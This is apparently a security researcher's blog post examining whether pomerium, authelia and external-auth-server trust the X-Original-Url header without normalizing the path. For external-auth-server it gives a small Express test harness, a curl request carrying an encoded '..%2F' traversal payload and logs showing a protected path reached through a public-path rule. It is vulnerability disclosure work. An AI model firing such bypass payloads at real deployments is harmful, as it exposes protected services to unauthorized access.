Hunting for buggy authentication/authorization services on github
To successful bypass access control using path traversal in $request_uri
, you need to have buggy authentication/authorization service. Buggy in a way it’s not normalizing url/uri that is part of access control decision. Let me find more of those on github that are relying on X-Original-Url
. There is high chance that this header is populated from $request_uri
variable and not protected in any way.
pomerium
Pomerium is an identity-aware proxy that enables secure access to internal applications.
In research I was using pomerium in version 0.15.5.
Let’s look into code. Here is how X-Original-Url
header is used:
Later this originalURL
is taking part in decision based on polices. Policy definition can include path, which is key information here:
As you can see there are two possibilities interesting for exploitation: Prefix
and Regex
.
In official docs you can find how to specify such policy:
For now I’m not going to exploit it further as it quite complicated to setup environment for it. I cannot be 100% sure for successful exploitation, but I have strong indicators in code that it will occur.
authelia
Authelia is an open-source authentication and authorization server providing two-factor authentication and single sign-on (SSO) for your applications via a web portal. It acts as a companion for reverse proxies like nginx, Traefik or HAProxy to let them know whether requests should either be allowed or redirected to Authelia’s portal for authentication.
In research I was using authelia in version 4.32.2.
The official description of the authelia perfectly matching my exploitation scenario. I just need to have policy based on path and no defense on X-Original-Url
header.
Let’s check code first:
X-Original-Url
header is take from request without much of validation and placed later as targetURL
:
After that targetURL
is part of logic to make decision whether request is passed as is or required to be authenticated:
In official documentation there is example of rule using in resource regex:
For me, this case is very similar to pomerium. I will also not go deeper for now in exploitation. It’s visible for me, that authelia has strong indicator for successful exploitation, but one more time I cannot be 100% sure.
travisghansen/external-auth-server
travisghansen/external-auth-server has primary function to help Kubernetes users to deal with different authentication schemas. In documentation I could find ideal case for bypass. It’s using request_js
plugin to make decision based on X-Original-Url
header:
To be sure, whether any normalization is in place, I have checked code that is making this parentReqInfo
object:
It’s in utils.js in function get_parent_request_info
:
I had some problems to run travisghansen/external-auth-server in Kubernetes. Mostly because it’s quite complicated. So to really verify if it’s vulnerable, I have copied part of utils.js and tested only it:
'use strict';
const express = require('express');
const utils = require('./utils')
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
// App
const app = express();
app.get('/verify', (req, res) => {
console.log(req.headers);
const parentReqInfo = utils.get_parent_request_info(req);
console.log(parentReqInfo);
if (parentReqInfo.parsedUri.path.startsWith('/public-service/')) {
res.statusCode = 200;
res.send();
}
const apiKey = req.headers['X-Api-Key'];
if (apiKey == "secret-api-key") {
res.statusCode = 200;
res.send();
}
res.statusCode = 401;
res.send();
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);
First send request using curl:
curl -v http://app.test/public-service/..%2Fprotected-service/protected
Next check logs of auth-service
:
kubectl logs auth-service-node-859ccc54cc-8cnlp -f
{
'x-request-id': 'afd1f7fbc4c45c2db17cc1f72c5ec834',
host: 'auth-service-node.default.svc.cluster.local',
'x-original-url': 'http://app.test/public-service/..%2Fprotected-service/protected',
'x-original-method': 'GET',
'x-real-ip': '172.17.0.1',
'x-forwarded-for': '172.17.0.1'
},
{
uri: 'http://app.test/public-service/..%2Fprotected-service/protected',
parseduri: {
scheme: 'http',
userinfo: undefined,
host: 'app.test',
port: undefined,
path: "/public-service/..%2Fprotected-service/protected",
query: undefined,
fragment: undefined,
reference: 'absolute'
},
parsedQuery: {},
method: 'GET'
}
First {…}
is from console.log(req.headers)
and second {…}
is from console.log(parentReqInfo)
. Path is not normalized and wrong decision is made.
I got protected data. One more time 😅
Summary
I have found three repositories that are using X-Original-Url
header and are not protecting against manipulation.
Other articles from this series
- CVE-2021-43557: Apache APISIX: Path traversal in request_uri variable
- Path traversal in authorization context in Traefik and HAProxy
- Path traversal in authorization context in Emissary
- Path traversal in authorization context in Kong and F5 NGINX
- Bug bounty tips for nginx $request_uri path traversal bypass
Thanks for reading! You can follow me on Twitter.